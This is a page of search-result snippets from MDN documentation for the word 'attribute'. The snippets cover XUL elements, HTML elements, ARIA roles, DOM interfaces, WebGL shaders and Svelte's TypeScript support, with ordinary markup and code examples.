attribute will be opened when the user clicks the mouse with the left mouse button. there isn't a means of replicating this action with the keyboard, so you should always provide an alternate means of accessing the functionality of the menu. this can be done by either placing alternate commands elsewhere in the user interface, or by providing a keyboard shortcut to open the menu. once the menu is open, the...
...And 6 more matches
Actions - Archive of obsolete content
defined. this action contains only one element, but you can put as many or as few elements as you need. in this case, a button will be created for each result. there are three results, so three buttons will be created. here is the [example], and an image of what it looks like: the template builder iterates through the three results, processing the body of the action for each one in turn. the uri
attribute on the button is used to specify the ending or member variable. in this example, there's only one variable to use, ?relateditem, since ?start is the starting point and the start and end points cannot be the same. there are a number of things that will happen for each result. let's look at the results again: (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/b) (...
...t = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/b) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/c) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/d) the builder will start with the first result. the button element will be copied and inserted into the document after the template. ...
...ttp://www.xulplanet.com/rdf/c) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/d) the builder will start with the first result. the button element will be copied and inserted into the document after the template. the id
attribute of the new element will be set to the same value of the member variable, ?relateditem. you could think of this as changing the uri
attribute to the id
attribute, and replacing the variable. ...
...And 6 more matches
The Implementation of the Application Object Model - Archive of obsolete content
ke in order to match the feature set and functionality we need. first off, let's consider how we'd figure out what kind of node to instantiate, e.g., a bookmarks folder node vs. a mail folder node. in the xul, you could use a syntax like <toolbar localdata="mailbox:blah"/> which would specify a uri that pointed to a specific mailbox node. our architecture must know how to examine this localdata
attribute to determine not only which kind of pluggable content needs to be instantiated, but that also has to determine which specific node should be instantiated. in order to accomplish this, our architecture has to have some sort of facility whereby different types of content, e.g., mail and bookmarks, can register themselves as the appropriate content to be instantiated for a given uri. we could do thi...
... if the xul stream came from a remote site, then rdf has no choice but to make a local annotation on the graph. if the xul stream came from a local file, then rdf can either locally annotate the graph (just as before), or it can serialize the xul and write over the original file (thus allowing local changes to a local file to be reflected right in the xul). referencing local data: the localdata
attribute a tag that references local rdf data does so by using the localdata
attribute, which gives the uri of the local data that should be merged in with the xul content tree. examples of tags that can reference local data are menu, menuitem, menubar, toolbox, toolbar, treebody, and treeitem. todo: outline the naming scheme for local data. give an example once i actually know what the naming scheme w...
...ple once i actually know what the naming scheme will be. talk to john mcmullen about 5.0 preferences and figure out where localdata will need to be used (likely on every form element control) talk to steve elmer. ...
...And 6 more matches
notificationbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] the notificationbox element is used to display notifications above an element. typically the element will be a browser, but any element may be used. the notification element is used for each notification, and will be created automatically for each item. each notification will slide in and out as needed. this element is used, for example, to implement the yellow information bar in various firefox windows. the notification box is a vertical box which may have children. the notifications appear at the top of the box. the notifications may be placed at the bottom by setting the dir
attribute to reverse. finding the current notification box within a firefox extension, you can retrieve the current no...
...otificationbox flex="1"> <browser src="http://www.mozilla.org"/> </notificationbox> there is a more complex code available in the code snippets area. ...
...icationshidden type: boolean indicating whether the notification area should be hidden. events alertactive type: event fired when a notification element is shown. alertclose type: event fired when a notification element is closed. ...
...And 6 more matches
tabpanels - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container to hold the set of pages in a tabbox. the tabpanels element should be placed in a tabbox although it does not have to be a direct child. the children of the tabpanels element become the panels of the tabbox. in most cases you would use a vbox, but they can be any element, although some people like to use tabpanel elements. by clicking the first tab, the first panel will be displayed. by clicking the second tab, the second panel will be displayed and so on. there should be the same number of panels as there are tabs. panels should never be hidden; hiding the tab suffices to make the panel inaccessible. ...
...element, although some people like to use tabpanel elements. by clicking the first tab, the first panel will be displayed. by clicking the second tab, the second panel will be displayed and so on. there should be the same number of panels as there are tabs. panels should never be hidden; hiding the tab suffices to make the panel inaccessible. more information is available in the xul tutorial.
attributes selectedindex properties selectedindex, selectedpanel examples (example needed)
attributes selectedindex type: integer gets and sets the index of the currently selected panel. the first item is at index 0. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasourc...
... selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element. assigning a value to this property will modify the selected panel. a select event will be sent when the selected panel is changed. ...
...And 6 more matches
toolbox - Archive of obsolete content
it is a type of box but defaults to vertical orientation. if a toolbar is placed inside a toolbox, a grippy is displayed on its left or upper edge. the user may click the grippy to collapse the toolbar. if multiple toolbars are placed in the same toolbox, they will all collapse into the same row. the firefox browser does not have grippies so toolbars cannot be collapsed and expanded. note: gecko 2.0 adds support for external toolbars. these are toolbars that are not children of a toolbox. ...
...xample" width="300"> <toolbox> <toolbar> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton label="stop"/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="we have two toolbars inside of one toolbox above." width="20"/> </window>
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-...
...members of this toolbox, even if they are not actually children of the toolbox. palette firefox only type: element the toolbarpalette within the toolbox. toolbarset firefox only type: element the toolbarset within the toolbox. ...
...And 6 more matches
How to build custom form controls - Learn web development
already been implemented for the click event. defining the html structure and (some) semantics now that the control's basic functionality has been decided upon, it's time to start building it. the first step is to define its html structure and to give it some basic semantics. here is what we need to rebuild a <select> element: <!-- this is our main container for our control. the tabindex
attribute is what allows the user to focus the control. we'll see later that it's better to set it through javascript. --> <div class="select" tabindex="0"> <!-- this container will be used to display the current value of the control --> <span class="value">cherry</span> <!-- this container will contain all the options available for our control. because it's a list, it makes sense to us...
... so assistive technologies won't be able to understand it's a select box. in short, this pretty new select box isn't accessible! fortunately, there is a solution and it's called aria. aria stands for "accessible rich internet application", and it's a w3c specification specifically designed for what we are doing here: making web applications and custom controls accessible. it's basically a set of
attributes that extend html so that we can better describe roles, states and properties as though the element we've just devised was the native element it tries to pass for. using these
attributes can be done by editing the html markup. we also update the aria
attributes via javascript as the user updates their selected value. the role
attribute the key
attribute used by aria is the role
attribute. the r...
...each role defines its own requirements and behaviors. in our example, we will use the listbox role. ...
...And 6 more matches
HTML table advanced features and accessibility - Learn web development
o get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users. rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail. a caption is placed directly beneath the <table> tag. note: the summary
attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders. we'd recommend using the <caption> element instead, however, as summary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, revisiting an example we first met in the previous article. ...
...the spent amounts seems to be in the wrong place, and there are some details missing from the code. put the obvious headers row inside a <thead> element, the "sum" row inside a <tfoot> element, and the rest of the content inside a <tbody> element. save and refresh, and you'll see that adding the <tfoot> element has caused the "sum" row to go down to the bottom of the table. next, add a colspan
attribute to make the "sum" cell span across the first four columns, so the actual number appears at the bottom of the "cost" column. let's add some simple extra styling to the table, to give you an idea of how useful these elements are for applying css. inside the head of your html document, you'll see an empty <style> element. inside this element, add the following lines of css code: tbody { font-si...
...y all headers and use them to make programmatic associations between those headers and the cells they relate to. the combination of column and row headers will identify and interpret the data in each cell so that screenreader users can interpret the table similarly to how a sighted user does. we already covered headers in our previous article — see adding headers with <th> elements. ...
...And 6 more matches
TypeScript support in Svelte - Learn web development
.js file has been renamed to main.ts, which means that vs code can provide hover-information on our svelte components: we also get type-checking for free. if we pass an unknown property in the options parameter of the app constructor (for example a typo like traget instead of target) typescript will complain: in the app.svelte component, the setuptypescript.js script has added the lang="ts"
attribute to the <script> tag. moreover, thanks to type inference, in many cases we won't even need to specify types to get code assistance. for example, if you start adding an ms property to the alert component call, typescript will infer from the default value that the ms property should be a number: and if you pass something that is not a number it will complain about it: the application template ...
...knows to use the type checking we have specified. we will get the following error: by now you should get an idea about the kind of assistance we can get from typescript when building svelte projects. now we will undo these changes in order to start porting our application to typescript, so we won't be bothered with all the validate warnings. remove the flawed todo and the lang='ts'
attribute from the todos.svelte file. also remove the import of todotype and the lang='ts' from todo.svelte. we'll take care of them propertly, later on. porting our to-do list app to typescript now we are ready to start porting our to-list application to take advantage of all the features that typescript offers to us. let's start by running the validate script in watch mode inside your project root:...
...agechange = (message: string, ms: number) => { cleartimeout(timeout) if (!message) { // hide alert if message is empty note: there's no need to specify the ms type with export let ms:number = 3000 because typescript is already inferring it from its default value. moreactions.svelte now we'll do the same for the moreactions.svelte component. add the lang='ts'
attribute, like before. typescript will warn us about the todos prop and the t variable in the call to todos.filter(t =>...). warn: variable 'todos' implicitly has an 'any' type, but a better type may be inferred from usage. (ts) export let todos warn: parameter 't' implicitly has an 'any' type, but a better type may be inferred from usage. (ts) $: completedtodos = todos.filter(t => t.completed).le...
...And 6 more matches
JS::CompileOptions
nt() const returns the dom element to which this source code belongs, if any, or null if it belongs to no dom element. source belongs to a dom element in the following cases: source belongs to a <script> element if it is the element's text content (that is, it is written out as the body of the <script> element in the markup text), or is the source document referenced by its src
attribute. source belongs to a dom element if it is an event handler content
attribute (that is, if it is written out in the markup text as an
attribute value). source belongs to a dom element if it was assigned to one of the element's event handler idl
attributes as a string. (note that one may assign both strings and functions to dom elements' event handler idl
attributes. if one assigns a func...
...otherwise, this returns null. ...
...otherwise, this returns null. jsscript *introductionscript() const returns a pointer to jsscript which introduces the file. ...
...And 6 more matches
XPCOM primitive
h as nsiarray. also, certain apis, such as nsitransferable.settransferdata(), require primitives. ...
...e component idl nsidptr nsisupportsid @mozilla.org/supports-id;1 [scriptable, uuid(d18290a0-4a1c-11d3-9890-006008962422)] interface nsisupportsid : nsisupportsprimitive {
attribute nsidptr data; string tostring(); }; astring nsisupportsstring @mozilla.org/supports-string;1 [scriptable, uuid(d79dc970-4a1c-11d3-9890-006008962422)] interface nsisupportsstring : nsisupportsprimitive {
attribute astring data; wstring tostring(); }; prbool nsisupportsprbool @mozilla.org/supports-prbool;1 [scriptable, uuid(ddc3b490-4a1c-11d3-9890-006008962422)] interface nsisupportsprbool : nsisupportsprimitive {
attribute prbool data; string tostring(); }; pruint8 nsisupportspruint8 @mozilla.org/supports-pruint8;1 [scriptable, uuid(dec2e4e0-4a1c-11d3-9890-006008962422)] interface nsisuppor...
...}; prbool nsisupportsprbool @mozilla.org/supports-prbool;1 [scriptable, uuid(ddc3b490-4a1c-11d3-9890-006008962422)] interface nsisupportsprbool : nsisupportsprimitive {
attribute prbool data; string tostring(); }; pruint8 nsisupportspruint8 @mozilla.org/supports-pruint8;1 [scriptable, uuid(dec2e4e0-4a1c-11d3-9890-006008962422)] interface nsisupportspruint8 : nsisupportsprimitive {
attribute pruint8 data; string tostring(); }; pruint16 nsisupportspruint16 @mozilla.org/supports-pruint16;1 [scriptable, uuid(dfacb090-4a1c-11d3-9890-006008962422)] interface nsisupportspruint16 : nsisupportsprimitive {
attribute pruint16 data; string tostring(); }; pruint32 nsisupportspruint32 @mozilla.org/supports-pruint32;1 [scriptable, uuid(e01dc470-4a1c-11d3-9890-006008962422)] interfa...
...And 6 more matches
HTMLButtonElement - Web APIs
, htmlelement. htmlbuttonelement.accesskey is a domstring indicating the single-character keyboard key to give access to the button. htmlbuttonelement.autofocus is a boolean indicating whether or not the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. only one form-associated element in a document can have this
attribute specified. htmlbuttonelement.disabled is a boolean indicating whether or not the control is disabled, meaning that it does not accept any clicks. htmlbuttonelement.form read only is a htmlformelement reflecting the form that this button is associated with. if the button is a descendant of a form element, then this
attribute is the id of that form element. if the button is not a descendant o...
...ent.disabled is a boolean indicating whether or not the control is disabled, meaning that it does not accept any clicks. htmlbuttonelement.form read only is a htmlformelement reflecting the form that this button is associated with. if the button is a descendant of a form element, then this
attribute is the id of that form element. if the button is not a descendant of a form element, then the
attribute can be the id of any form element in the same document it is related to, or the null value if none matches. htmlbuttonelement.formaction is a domstring reflecting the uri of a resource that processes information submitted by the button. if specified, this
attribute overrides the action
attribute of the <form> element that owns this element. htmlbuttonelement.formenctype is a domstring reflect...
...e if none matches. htmlbuttonelement.formaction is a domstring reflecting the uri of a resource that processes information submitted by the button. if specified, this
attribute overrides the action
attribute of the <form> element that owns this element. htmlbuttonelement.formenctype is a domstring reflecting the type of content that is used to submit the form to the server. if specified, this
attribute overrides the enctype
attribute of the <form> element that owns this element. htmlbuttonelement.formmethod is a domstring reflecting the http method that the browser uses to submit the form. if specified, this
attribute overrides the method
attribute of the <form> element that owns this element. htmlbuttonelement.formnovalidate is a boolean indicating that the form is not to be validated when...
...And 6 more matches
HTMLImageElement - Web APIs
reates and returns a new htmlimageelement object representing an html <img> element which is not attached to any dom tree. it accepts optional width and height parameters. when called without parameters, new image() is equivalent to calling document.createelement("img"). properties inherits properties from its parent, htmlelement. htmlimageelement.alt a domstring that reflects the alt html
attribute, thus indicating the alternate fallback content to be displayed if the image has not been loaded. htmlimageelement.complete read only returns a boolean that is true if the browser has finished fetching the image, whether successful or not. that means this value is also true if the image has no src value indicating an image to load. htmlimageelement.crossorigin a domstring specifying the cors...
... be displayed if the image has not been loaded. htmlimageelement.complete read only returns a boolean that is true if the browser has finished fetching the image, whether successful or not. that means this value is also true if the image has no src value indicating an image to load. htmlimageelement.crossorigin a domstring specifying the cors setting for this image element. see cors settings
attributes for further details. this may be null if cors is not used. htmlimageelement.currentsrc read only returns a usvstring representing the url from which the currently displayed image was loaded. this may change as the image is adjusted due to changing conditions, as directed by any media queries which are in place. htmlimageelement.decoding an optional domstring representing a hint given to the...
... on how it should decode the image. if this value is provided, it must be one of the possible permitted values: sync to decode the image synchronously, async to decode it asynchronously, or auto to indicate no preference (which is the default). read the decoding page for details on the implications of this property's values. htmlimageelement.height an integer value that reflects the height html
attribute, indicating the rendered height of the image in css pixels. htmlimageelement.ismap a boolean that reflects the ismap html
attribute, indicating that the image is part of a server-side image map. this is different from a client-side image map, specified using an <img> element and a corresponding <map> which contains <area> elements indicating the clickable areas in the image. the image must be c...
...And 6 more matches
HTMLTextAreaElement - Web APIs
="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltextareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties accesskey string: returns / sets the element's accesskey
attribute. ...
...{ fill: #0095dd; pointer-events: all;} properties accesskey string: returns / sets the element's accesskey
attribute. autocapitalize string: returns / sets the element's capitalization behavior for user input. valid values are: none, off, characters, words, sentences. autocomplete autofocus boolean: returns / sets the element's autofocus
attribute, indicating that the control should have input focus when the page loads cols unsigned long: returns / sets the element's cols
attribute, indicating the visible width of the text area. defaultvalue string: returns / sets the control's default value, which behaves like the node.textcontent property. disabled boolean: returns / sets the element's disabled attribu...
... string: returns / sets the control's default value, which behaves like the node.textcontent property. disabled boolean: returns / sets the element's disabled
attribute, indicating that the control is not available for interaction. form read only object: returns a reference to the parent form element. if this element is not contained in a form element, it can be the id
attribute of any <form> element in the same document or the value null. ...
...And 6 more matches
SVGSVGElement - Web APIs
xt-anchor="middle" alignment-baseline="middle">svgsvgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement and also implements the ones from svgzoomandpan, svgfittoviewbox, and windoweventhandlers. svgsvgelement.x read only an svganimatedlength corresponding to the x
attribute of the given <svg> element. svgsvgelement.y read only an svganimatedlength corresponding to the y
attribute of the given <svg> element. svgsvgelement.width read only an svganimatedlength corresponding to the width
attribute of the given <svg> element. svgsvgelement.height read only an svganimatedlength corresponding to the height
attribute of the given <svg> element. svgsvgelement.conte...
... svgsvgelement.viewport an svgrect containing the position and size of the viewport (implicit or explicit) that corresponds to the given <svg> element. ...
... svgsvgelement.viewport an svgrect containing the position and size of the viewport (implicit or explicit) that corresponds to the given <svg> element. when the browser is actually rendering the content, then the position and size values represent the actual values when rendering. ...
...And 6 more matches
Adding 2D content to a WebGL context - Web APIs
tex basis, then return the transformed vertex by saving it in a special variable provided by glsl, called gl_position. the vertex shader can, as needed, also do things like determine the coordinates within the face's texture of the texel to apply to the vertex, apply the normals to determine the lighting factor to apply to the vertex, and so on. this information can then be stored in varyings or
attributes as appropriate to be shared with the fragment shader. our vertex shader below receives vertex position values from an
attribute we define called avertexposition. that position is then multiplied by two 4x4 matrices we provide called uprojectionmatrix and umodelviewmatrix; gl_position is set to the result. for more info on projection and other matrixes you might find this article useful. // v...
... shader. our vertex shader below receives vertex position values from an
attribute we define called avertexposition. that position is then multiplied by two 4x4 matrices we provide called uprojectionmatrix and umodelviewmatrix; gl_position is set to the result. for more info on projection and other matrixes you might find this article useful. ...
... result. for more info on projection and other matrixes you might find this article useful. // vertex shader program const vssource = `
attribute vec4 avertexposition; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; void main() { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; } `; it's worth noting that we're using a vec4
attribute for the vertex position, which doesn't actually use a 4-component vector; that is, it could be handled as a vec2 or vec3 depending on the situation. but when we do our math, we will need it to be a vec4, so rather than convert it to a vec4 every time we do math, we'll just use a vec4 from the beginning. this eliminates operations from every calculation we do in our shader. performance matters. i...
...And 6 more matches
ARIA: tab role - Accessibility
ly have targeted. they should contain the aria-controls property identifying an element with the tabpanel role. when an element with the tabpanel role has focus, or a child of it has focus, that indicates that the connected element with the tab role is the active tab in a tablist. ...
...s, or a child of it has focus, that indicates that the connected element with the tab role is the active tab in a tablist. when working with elements with the tab role, when they are selected or active, they should have their aria-selected
attribute set to true, otherwise it should be set to false. when a tab is selected or active, its controlled tabpanel should have its aria-expanded and hidden
attributes set to true, otherwise they should be set to false. associated roles and
attributes aria-selected boolean aria-controls id of element with tabpanel role id content keyboard interaction key action tab when focus is outside of the tablist moves focus to the active tab. if focus is on the active tab moves focus to the next element in the keyboard focus order,...
... that will provide the same set of functionality that's required above for accessible tabs with content. example this example combines the role tab with tablist and elements with tabpanel to create an interactive group of tabbed content. here we are enclosing our group of content in a div, with our tablist having an aria-label to label it for assistive technology. each tab is a button with the
attributes previously mentioned. the first tab has tabindex=0 on it, which we will later change to whatever tab has aria-selected=true. all of the tabpanel elements have tabindex=0 to make them tabbable, and all but the currently active one have the hidden
attribute, which we will change with javascript. there is some basic styling applied that restyles the buttons and changes the z-index to of tab element...
...And 6 more matches
ARIA: checkbox role - Accessibility
the checkbox role is used for checkable interactive controls. elements containing role="checkbox" must also include the aria-checked
attribute to expose the checkbox's state to assistive technology. <span role="checkbox" aria-checked="false" tabindex="0" aria-labelledby="chk1-label"> </span> <label id="chk1-label">remember my preferences</label> the first rule of aria is if a native html element or
attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria. instead use the native html checkbox of <input type="checkbox">, which natively provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> description the native html checkbox form control can only have two ch...
...provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> description the native html checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state settable via javascript. ...
...n only have two checked states ("checked" or "not checked"), with an indeterminate state settable via javascript. similarly, an element with role="checkbox" can expose three states through the aria-checked
attribute: true, false, or mixed. since a checkbox is an interactive control, it must be focusable and keyboard accessible. if the role is applied to a non-focusable element, use the tabindex
attribute to change this. the expected keyboard shortcut for activating a checkbox is the space key. ...
...And 6 more matches
HTML To MSAA - Accessibility
remarks the table below shows how gecko maps html elements to msaa. this table reflects mapping rules for specific elements only, it doesn't reflect any general rules applicable to all elements. for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed from aria markup or @title
attribute. ...
...ping rules for specific elements only, it doesn't reflect any general rules applicable to all elements. for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed from aria markup or @title
attribute. ...
...sn't reflect any general rules applicable to all elements. for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed from aria markup or @title
attribute. ...
...And 6 more matches
Adding captions and subtitles to HTML5 video - Developer guides
y technically, so the material in this article will apply to both. for this article we will refer to the text tracks displayed as subtitles, as their content is aimed at hearing people who have difficulty understanding the language of the film, rather than deaf or hard-of-hearing people. the <track> element html5 allows us to specify subtitles for a video using the <track> element. the various
attributes of this element allow us to specify such things as the type of content that we're adding, the language it's in, and of course a reference to the text file that contains the actual subtitle information. webvtt the files that contain the actual subtitle data are simple text files that follow a specified format, in this case the web video text tracks (webvtt) format. the webvtt specification is s...
... src is assigned a valid url pointing to the relevant webvtt subtit...
...iven a value indicating which language that subtitle set is for — for example english or deutsch — these labels will appear in the user interface to allow the user to easily select which subtitle language they want to see. src is assigned a valid url pointing to the relevant webvtt subtitle file in each case. srclang indicates what language each subtitle files' contents are in. the default
attribute is set on the english <track> element, indicating to the browser that this is the default subtitle file definition to use when subtitles have been turned on and the user has not made a specific selection. in addition to adding the <track> elements, we have also added a new button to control the subtitles menu that we will build. as a consequence, the video controls now look as follows: <div id...
...And 6 more matches
Audio and Video Delivery - Developer guides
ce src="audiofile.mp3" type="audio/mpeg"> <!-- fallback for browsers that don't support mp3 --> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for browsers that don't support audio tag --> <a href="audiofile.mp3">download audio</a> </audio> the code above will create an audio player that attempts to preload as much audio as possible for smooth playback. note: the preload
attribute may be ignored by some mobile browsers. for further info see cross browser audio basics (html5 audio in detail) html video <video controls width="640" height="480" poster="initialimage.png" autoplay muted> <source src="videofile.mp4" type="video/mp4"> <!-- fallback for browsers that don't support mp4 --> <source src="videofile.webm" type="video/webm"> <!-- specifying subtitle files ...
...track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="norwegian"> <!-- fallback for browsers that don't support video tag --> <a href="videofile.mp4">download video</a> </video> the code above creates a video player of dimensions 640x480 pixels, displaying a poster image until the video is played. we instruct the video to autoplay but to be muted by default. note: the autoplay
attribute may be ignored by some mobile browsers. also, the autoplay feature can be controversial when misused. it's strongly recommended that you read the autoplay guide for media and web audio apis to learn how to use autoplay wisely.. for further info see <video> element and creating a cross-browser video player. audio and video fallback you can create a more comprehensive fallback using flash. usin...
...="flashmediaelement.swf" /> <param name="flashvars" value="controls=true&isvideo=false&file=audiofile.mp3" /> </object> </audio> the process is very similar with video — just remember to set isvideo=true in the flashvars value parameters. more options for fallbacks. javascript audio var myaudio = document.createelement('audio'); if (myaudio.canplaytype('audio/mpeg')) { myaudio.set
attribute('src','audiofile.mp3'); } else if (myaudio.canplaytype('audio/ogg')) { myaudio.set
attribute('src','audiofile.ogg'); } myaudio.currenttime = 5; myaudio.play(); we set the source of the audio depending on the type of audio file the browser supports, then set the play-head 5 seconds in and attempt to play it. note: play will be ignored by most browsers unless issued by a user-initiated event. ...
...And 6 more matches
<col> - HTML: Hypertext Markup Language
an effect on the column (see the css 2.1 specification for a list). content categories none. permitted content none, it is an empty element. tag omission it must have start tag, but must not have an end tag. permitted parents <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. the <colgroup> must not have a span
attribute. ...
... tag omission it must have start tag, but must not have an end tag. permitted parents <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. the <colgroup> must not have a span
attribute. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltablecolelement
attributes this element includes the global
attributes. span this
attribute contains a positive integer indicating the number of consecutive columns the <col> element spans. if not present, its default value is 1. deprecated
attributes the following
attributes are deprecated and should not be used. they are documented below for reference when updating existing code and for historical interest only.
...global
attributes. span this
attribute contains a positive integer indicating the number of consecutive columns the <col> element spans. if not present, its default value is 1. deprecated
attributes the following
attributes are deprecated and should not be used. they are documented below for reference when updating existing code and for historical interest only. align this enumerated
attribute specifies how horizontal alignment of each column cell content will be handled. ...
...And 6 more matches
<input type="date"> - HTML: Hypertext Markup Language
control degrades gracefully to <input type="text">. among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-mm-dd format, or empty events change and input supported common
attributes autocomplete, list, readonly, and step idl
attributes list, value, valueasdate, valueasnumber. methods select(), stepdown(), stepup() value a domstring representing the date entered in the input. the date is formatted according to iso8601, described in format of a valid date string in date and time formats used in html. you can set a default value for the inpu...
... you can get and set the date value in javascript with the input element's value and valueasnumber properties. ...
...ument.queryselector('input[type="date"]'); datecontrol.value = '2017-06-01'; console.log(datecontrol.value); // prints "2017-06-01" console.log(datecontrol.valueasnumber); // prints 1496275200000, a unix timestamp this code finds the first <input> element whose type is date, and sets its value to 2017-06-01 (june 1st, 2017). it then reads that value back in string and number formats. additional
attributes along with the
attributes common to all <input> elements, date inputs have the following
attributes:
attribute description max the latest acceptable date min the earliest acceptable date step the stepping interval, when clicking up and down spinner buttons and validating the date max the latest date to accept. if the value entered int...
...And 6 more matches
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
permitted content none, it is an empty element. tag omission as it is a void element, the start tag must be present and the end tag must not be present. permitted parents <meta charset>, <meta http-equiv>: a <head> element. ...
...-equiv>: a <head> element. if the http-equiv is not an encoding declaration, it can also be inside a <noscript> element, itself inside a <head> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmetaelement the type of metadata provided by the meta element can be one of the following: if the name
attribute is set, the meta element provides document-level metadata, applying to the whole page. if the http-equiv
attribute is set, the meta element is a pragma directive, providing information equivalent to what can be given by a similarly-named http header. if the charset
attribute is set, the meta element is a charset declaration, giving the character encoding in which the document is encoded. if th...
...e meta element provides document-level metadata, applying to the whole page. if the http-equiv
attribute is set, the meta element is a pragma directive, providing information equivalent to what can be given by a similarly-named http header. if the charset
attribute is set, the meta element is a charset declaration, giving the character encoding in which the document is encoded. if the itemprop
attribute is set, the meta element provides user-defined metadata.
attributes this element includes the global
attributes. note: the
attribute name has a specific meaning for the <meta> element, and the itemprop
attribute must not be set on the same <meta> element that has any existing name, http-equiv or charset
attributes. charset this
attribute declares the document's character encoding. if th...
...And 6 more matches
<thead>: The Table Head element - HTML: Hypertext Markup Language
e <thead> element is immediately followed by a <tbody> or <tfoot> element. permitted parents a <table> element. the <thead> must appear after any <caption> or <colgroup> element, even implicitly defined, but before any <tbody>, <tfoot> and <tr> element. implicit aria role rowgroup permitted aria roles any dom interface htmltablesectionelement
attributes this element includes the global
attributes. deprecated
attributes align in html 4, in html5 this enumerated
attribute specifies how horizontal alignment of each cell content will be handled. possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting ...
...be handled. possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff
attributes unimplemented (see bug 2212). if this
attribute is not set, the left value is assumed. note: do not use this
attribute as it is obsolete (not supported) in the latest standard. to achieve the same effect as the left, center, right or justify values, use the css text-align property on it. to achieve the same effect as the char value, in css3, you can use the value of the char as the ...
...it is one of the 6-digit hexadecimal code as defined in srgb, prefixed by a '#'. ...
...And 6 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
the preload value of the <link> element's rel
attribute lets you declare fetch requests in the html's <head>, specifying resources that your page will need very soon, which you want to start loading early in the page lifecycle, before browsers' main rendering machinery kicks in. this ensures they are available earlier and are less likely to block the page's render, improving performance. this article provides a basic guide to how <link rel="preload"> works. the basics you most commonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want. you will also need to specify: the path to the resource in the href
attribute. the type...
...ide to how <link rel="preload"> works. the basics you most commonly use <link> to load a css file to style your page with: <link rel="stylesheet" href="styles/main.css"> here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want. you will also need to specify: the path to the resource in the href
attribute. the type of resource in the as
attribute. a simple example might look like this (see our js and css example source, and also live): <head> <meta charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.
... the type of content to be preloaded allows the browser to: prioritize resource loading more accurately. store in the cache for future requests, reusing the resource if appropriate. apply the correct content security policy to the resource. set the correct accept request headers for it. what types of content can be preloaded? many different content types can be preloaded. the possible as
attribute values are: audio: audio file, as typically used in <audio>. document: an html document intended to be embedded by a <frame> or <iframe>. embed: a resource to be embedded inside an <embed> element. fetch: resource to be accessed by a fetch or xhr request, such as an arraybuffer or json file. font: font file. image: image file. object: a resource to be embedded inside an <object> element.
...And 6 more matches
JavaScript data types and data structures - JavaScript
operties. with the object literal syntax, a limited set of properties are initialized; then properties can be added and removed. property values can be values of any type, including other objects, which enables building complex data structures. properties are identified using key values. a key value is either a string or a symbol value. ...
...rties can be added and removed. property values can be values of any type, including other objects, which enables building complex data structures. properties are identified using key values. a key value is either a string or a symbol value. there are two types of object properties which have certain
attributes: the data property and the accessor property. note: each property has corresponding
attributes.
attributes are used internally by the javascript engine, so you cannot directly access them. ...
...ilding complex data structures. properties are identified using key values. a key value is either a string or a symbol value. there are two types of object properties which have certain
attributes: the data property and the accessor property. note: each property has corresponding
attributes.
attributes are used internally by the javascript engine, so you cannot directly access them. that's why
